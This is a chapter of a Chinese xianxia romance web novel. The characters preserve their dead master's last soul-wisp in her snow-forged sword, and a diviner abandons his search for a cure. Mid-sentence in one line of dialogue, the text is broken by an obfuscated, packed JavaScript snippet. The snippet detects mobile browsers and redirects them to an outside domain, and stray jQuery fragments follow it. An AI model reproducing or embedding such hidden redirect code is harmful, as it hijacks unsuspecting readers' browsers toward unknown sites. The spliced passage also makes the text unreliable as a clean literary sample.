许妄最终没问出来听以言的原因,回宗门的时候心情更加低沉了。
看得听以言心情也很低沉,他确实很想立马说出来,但是又舍不得。
不说好歹还有几日。
没办法听以言只得选那条风景最美的路回山,希望可以对改善许妄心情有用。
两人脚下是一片花海,听以言故意飞得很低,又用灵力炸飞花朵,让花瓣从两人头顶飘落。
许妄的目光随着花瓣向天上看去,从中接住一片,握在掌心里。
两人很快就到了宗门口,脚还未落地,远远地便看见宗门口站着一个身影。
林轩手里提着一盏用木头做的灯,中间的一缕白光却不像灯芯。她靠在宗门柱上,低垂着头,像是在等什么人。
听见许妄二人落地的声音,她终于抬起头,看向他们二人,却没有立刻动身朝他们走去。
许妄稍微想了一下,觉得林轩可能是在等她和听以言。当时离开的时候,走的急也没来的及跟她说一声。
刚一走近,林轩边开口道:“连尧雾出事了。”
她的语气很肯定,听得许妄心跳漏了一拍。
“那日,连尧雾用自己的一缕魂,救木偶活过来。不久前,那一缕魂却从木偶身体中分离出来。”
“那缕魂飘在空中开始消散,我用血养铃木才把它保存下来。我本来想立马动身去找你们,可一出宗门魂就继续散。”
“没办法,我只能在此处等。但这不是长久之计,魂还是应该附在主人常用的东西上。”
林轩说完,许妄立马想到连尧雾的剑。
许妄问:“朱祝骄呢!”
林轩一脸疑惑:“谁?”
许妄反应过来他们似乎还没见过面,想林轩描述道:“有没有见过一个男子手中拿着一把剑来宗门。”
林轩思索片刻说:“刚刚好像是有一个失魂落魄的男的飘进宗门了。”
“不过他好像受伤了,边吐血边往里走。他执意往里走,我手里护着东西,没跟他动手。”
许妄:“师尊的东西在他手上,你先稳住魂魄,我去找他。”
林轩:“好。”
许妄转身往上走,路过山洞时,突然有种莫名的感觉,果然在其中一个山洞中找到了朱祝骄。
他正蜷缩在地上,手里紧紧握着什么东西,连尧雾的剑被他小心翼翼地放在一旁。
许妄尝试叫了他两声,没有回应,走近扒拉两下,他身上没有伤,现在这样,倒像自己陷入了自己的记忆里。
许妄见他暂时没有生命安全,单手给他拎床上去睡,虽然也是石板床,但应该比地上好。
拿着剑闪身回到林轩身旁。
许妄将剑呈放在双手上,由林轩施法将那缕魂魄引到剑上。那魂从木灯中出来,在剑上左飘飘右飘飘,就是不进去。
眼看着又要散了,被林轩一把关回铃木灯中。
林轩疑惑地喃喃:“这是怎么回事?”
站在一旁等的听以言突然出声:“连尧雾的剑由落雪筑成,这里寒气不足,去山顶。”
“或许可以。”
话音刚落,许妄顺手拔了听以言的剑带着林轩飞到山顶。听以言摸了摸剩下的剑鞘,低头笑笑,慢慢地往山顶走去。
山顶依旧在飘雪,万年不变。连尧雾不在了,心里没了那股护着自己的暖意,许妄久违地感觉到冷。
雪落在连尧雾的剑上,原本稍有残破的剑,沾雪便恢复如初。
听以言的剑被他召走了。许妄可以专心拿着连尧雾的剑,那缕魂再次颤巍巍地出现,这次不用林轩施法,魂自己被剑吸引。
雪落得越来越快,伴着雪,那缕魂触剑融入其中。
连尧雾的最后一缕魂,在千秋宗内可以保住,出了千秋宗就是神仙难救。
她的家护住了她,她的剑会再养出一个她。
林轩见此,终于松了口气,双手卸力般垂落身旁,无声地提着自己最珍贵的木头往屋里走。
她推开门,许妄看见木床上躺着的人,连忙跟上。林轩转身欲关门,却见许妄追上来,便给她留了门。
许妄追进门里,见躺在床上的果然是徐问寻,不由地将目光落在林轩单薄的背影上。
徐问寻是连尧雾舍魂救活的,连尧雾死了,徐问寻也活不了。
林轩跪坐在床前的垫子上,眼睛却看向窗外的雪。
她平日不爱开窗,喜欢暖气十足的房间,如今却想借冷风,刚好清醒清醒脑子。
许妄问她:“还有其他办法吗?”
林轩回头看许妄,朝她笑笑,说:“会有的。”
“木偶一术,我最精通。日子还长,我总能找到办法。所以别担心,去忙你的吧。”
许妄红着眼看了林轩许久,上前紧紧地抱了她,然后转身奔赴风雪。
推开门,林轩在身后突然开口说:“其实我没想起来。”
许妄回头看她,她低着头,声音很轻,不像在和许妄说话,像在喃喃自语。
林轩:“你起初说她还有亲人,我本不信,但我漂泊世间无依无靠,心里有个声音跟我说试试吧。”
林轩终于抬起头,看着许妄继续说:“我一靠近她,便感觉很熟悉。”
“她醒过来后,也和我说小时候的事,心中的悲乐都仿佛自己身临其境过,可我就是怎么也想不起来。”
许妄:“阿轩……”
“记忆就像是被人摘除了一样”,她笑着眼中落下第一滴泪,“这滋味还真不好受”。
林轩的声音又变小了,最后这一句话她是说给自己听的。
“尽管昔日的美好在此刻会显得残忍,我也还是想记起来。”
门在许妄离开后,门被关上,在门缝合上前,许妄又看见林轩的背影。
那扇门闭得很紧,好像永远不会再打开。林轩心甘情愿被锁在里面,守着她生命最后的火光。
许妄坐在阶前,平复自己的心情。她捡起地上的树枝,刨着地上的雪。
越平复心情,林轩的话就越萦绕心间如果没有未来,人能靠回忆度过一生吗?
许妄在心里绕了许久,她不知道。
不过……
许妄抛下树枝,唰的一下站起来,她现在就去给他们找未来。
地上被刨成小山的雪堆被许妄一脚踩平。
她抬起头,听以言不知道从哪里翻出一把伞,正倾伞为她遮头上的雪。
许妄一时晃了神,脚底的雪没踩稳就要滑倒,被听以言一把扶住。
听以言:“小心。”
许妄问:“你什么时候来的。”
听以言违心地说:“刚刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245523|171933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
听以言把伞放到许妄手里,许妄看见雪落在他身上,他说:“东西都找齐了,我们现在就去后山。”
许妄:“好。”
通往后山的路不似平常山路,有两千阶石阶梯,破旧但很干净。
许妄迈出第一步,突然想起山洞里情况未知的朱祝骄,停住脚步,有些担心。
许妄扯了扯听以言的衣袖,说:“我去瞧瞧朱祝骄的情况,你先下去,我赶上来,不耽误时间。”
听以言闻言低头垂眸,不看许妄,似乎有点伤心。
许妄注意到后,将他的脸捧起来,问:“怎么了?”
听以言握住脸旁的手,眼睛看向蜿蜒向下的阶梯说:“这里阶梯足足两千,天上飘着雪,我们往下走,会很浪漫。”
许妄闻言用力揉了揉他的脸,笑得眼睛亮亮的,说:“等事情了了,我陪你走一千遍。”
听以言没有顺着她的话答,只自顾自地说:“我在这等你。”
“那我们一起去。”
听以言摇头:“我在这里等你。”
许妄拗不过他,转身在雪地里跑起来,想搞快一点,甚至忘记了可以御剑,跑到一半才想起来。
听以言在后面注视着她离开,舍不得移开眼,也没有跟上去,近乎自虐般站在原地,等她回来。
不舍和落寞绕在心间,因她而起,是他存在过的证明。
许妄以最快的速度赶到山洞,看到朱祝骄已经醒了,松了口气。
气还没松玩,却发现朱祝骄依旧一动不动,眼睛像是蒙了一层纱,看起来比没醒情况还糟。
许妄用手在他面前晃晃,试试他能不能看见,朱祝骄突然拽住许妄的手腕。
许妄抡起拳头就是一拳,终于给朱祝骄弄回神了,他的眼睛恢复了光亮,看清面前的人是许妄后,失望地松开了她的手
许妄搞不懂他在想什么,只能问:“你怎么了?”
朱祝骄声音沙哑,他抬头看向许妄,看起来疲倦又沧桑,他说:“我刚刚又卜了一挂。”
“卜的什么?”许妄接话。
“救她的方法。”
“结果呢?”
“无。”
自从十九岁卦象显现,他一直寻到这里,想找一味能让人起死回生的药。
他的卦带着他走过乡间村落、繁华都城,走过连绵山脉,也走过茫茫大漠。一路上,他见过南边的烟雨,也见过北方的朔雪。
他一直以为自己能救她。
到此刻,他终于明白,卦象显示的,不是救她的药。
而是救那年差点跟着她一起死的他。
朱祝骄方才梦了一场,梦中他想起,他走投无路抱着卦象痛哭时,好像有一阵风吹来,吹干了他脸庞的泪。
风改了他的卦象,吹来他的药。
朱祝骄:“梦里她劝我,世界很大,很美的地方有很多,出去看看。”
话落,许妄看见他的脸庞话落一滴泪。
又一阵风起,吹动朱祝骄的发丝,抚上他的脸庞,像故人的手为他再次拭去眼泪。
朱祝骄站起身来,随着风走,与许妄擦肩而过时,停下与许妄告别。
他努力扬起笑容,看起来与往常无异。
“想好去哪里了吗?”
“到处走走吧。”